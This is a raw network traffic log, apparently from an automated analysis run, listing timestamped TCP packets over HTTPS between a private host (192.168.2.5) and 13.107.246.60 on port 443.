Oct 7, 2024 17:22:38.612818003 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.612823963 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.614443064 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.614516973 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.614605904 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.615863085 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.615897894 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.615978003 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.616125107 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.616141081 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.616158009 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.616163015 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.616380930 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.616395950 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.617199898 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.617419004 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.617482901 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.618521929 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.618561029 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.618627071 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.618676901 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.618685007 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.618710995 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.618716002 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.618870974 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.618889093 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.620987892 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.621048927 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.621239901 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.621422052 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.621448040 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.623256922 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.623321056 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.624114990 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.624385118 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.624429941 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.624460936 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.624475956 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.626627922 CEST	49834	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.626641989 CEST	443	49834	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.626718998 CEST	49834	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.626899958 CEST	49834	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.626913071 CEST	443	49834	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.630964041 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.631035089 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.631120920 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.631139040 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.631158113 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.631221056 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.631277084 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.631287098 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.631300926 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.631304979 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.633236885 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.633276939 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.633369923 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.633508921 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.633518934 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.226397991 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.229741096 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.229779005 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.230211020 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.230227947 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.236562014 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.241517067 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.241558075 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.241947889 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.241952896 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.260005951 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.260826111 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.261379957 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.261440992 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.261476040 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.261499882 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.261811018 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.261820078 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.261873960 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.261882067 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.288002968 CEST	443	49834	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.289024115 CEST	49834	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.289057970 CEST	443	49834	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.289484024 CEST	49834	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.289494038 CEST	443	49834	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.321747065 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.321779966 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.321831942 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.321949959 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.322177887 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.322177887 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.322206974 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.322226048 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.324947119 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.324995041 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.325094938 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.325252056 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.325262070 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.335226059 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.335319996 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.335416079 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.335597038 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.335613966 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.335648060 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.335653067 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.338124037 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.338165998 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.338255882 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.338386059 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.338397026 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.355344057 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.355448008 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.355576038 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.355783939 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.355803967 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.355819941 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.355825901 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.358527899 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.358573914 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.358644009 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.358768940 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.358782053 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.358910084 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.359263897 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.362240076 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.362288952 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.362308025 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.362320900 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.362325907 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.364471912 CEST	49839	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.364512920 CEST	443	49839	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.364593983 CEST	49839	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.364722967 CEST	49839	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.364732027 CEST	443	49839	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.388407946 CEST	443	49834	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.388931990 CEST	443	49834	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.389055967 CEST	49834	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.389200926 CEST	49834	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.389219999 CEST	443	49834	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.389235020 CEST	49834	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.389241934 CEST	443	49834	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.392375946 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.392412901 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:39.392522097 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.392671108 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:39.392682076 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.014728069 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.014746904 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.015331030 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.015348911 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.015361071 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.015398026 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.015805960 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.015810013 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.015904903 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.015917063 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.042691946 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.043303013 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.043339014 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.043807983 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.043814898 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.110761881 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.110821009 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.110865116 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.110891104 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.110909939 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.110949993 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.111233950 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.111233950 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.111251116 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.111259937 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.114020109 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.114065886 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.114131927 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.114356041 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.114373922 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.117271900 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.117419958 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.117489100 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.117573023 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.117573977 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.117600918 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.117613077 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.119806051 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.119838953 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.119903088 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.120059013 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.120076895 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.133934021 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.134131908 CEST	443	49839	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.134530067 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.134556055 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.134670973 CEST	49839	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.134694099 CEST	443	49839	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.135112047 CEST	49839	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.135116100 CEST	443	49839	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.135279894 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.135288954 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.139493942 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.139913082 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.139985085 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.140022039 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.140022039 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.140043020 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.140053034 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.142674923 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.142712116 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.142810106 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.143069983 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.143083096 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.234504938 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.234589100 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.234652996 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.234709024 CEST	443	49839	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.234814882 CEST	443	49839	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.234893084 CEST	49839	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.234982967 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.235006094 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.235019922 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.235024929 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.235183001 CEST	49839	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.235203028 CEST	443	49839	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.235215902 CEST	49839	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.235222101 CEST	443	49839	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.238465071 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.238512039 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.238640070 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.238739967 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.238785028 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.238835096 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.238909960 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.238924026 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.239007950 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.239020109 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.826392889 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.827224970 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.827246904 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.827415943 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.827425003 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.829355001 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.832659006 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.832684040 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.833069086 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.833076000 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.840836048 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.841177940 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.841183901 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.841588974 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.841593027 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.859528065 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.859918118 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.859944105 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.860347986 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.860352039 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.893685102 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.894135952 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.894155979 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.894537926 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.894542933 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.921572924 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.921875000 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.921935081 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.921962023 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.921978951 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.921988010 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.921993017 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.924380064 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.924446106 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.924540043 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.924655914 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.924674988 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.924701929 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.924707890 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.924709082 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.924746990 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.926820993 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.926857948 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.926862001 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.926917076 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.927040100 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.927050114 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.927052021 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.927062988 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.941498041 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.941958904 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.942017078 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.942029953 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.942055941 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.942105055 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.942110062 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.942120075 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.942122936 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.944327116 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.944365025 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.944425106 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.944542885 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.944556952 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.955229998 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.955476999 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.955549002 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.955579996 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.955579996 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.955595016 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.955604076 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.957679987 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.957720995 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.957807064 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.957935095 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.957947016 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.994851112 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.994920969 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.994970083 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.995059967 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.995229006 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.995244980 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.995254993 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.995260954 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.997977972 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.998025894 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:40.998115063 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.998262882 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:40.998274088 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.568360090 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.569757938 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.569782019 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.570249081 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.570254087 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.570548058 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.571902037 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.572218895 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.572252035 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.572274923 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.572300911 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.572618961 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.572623968 CEST	443	49846	13.107.246.60	192.168.2.5
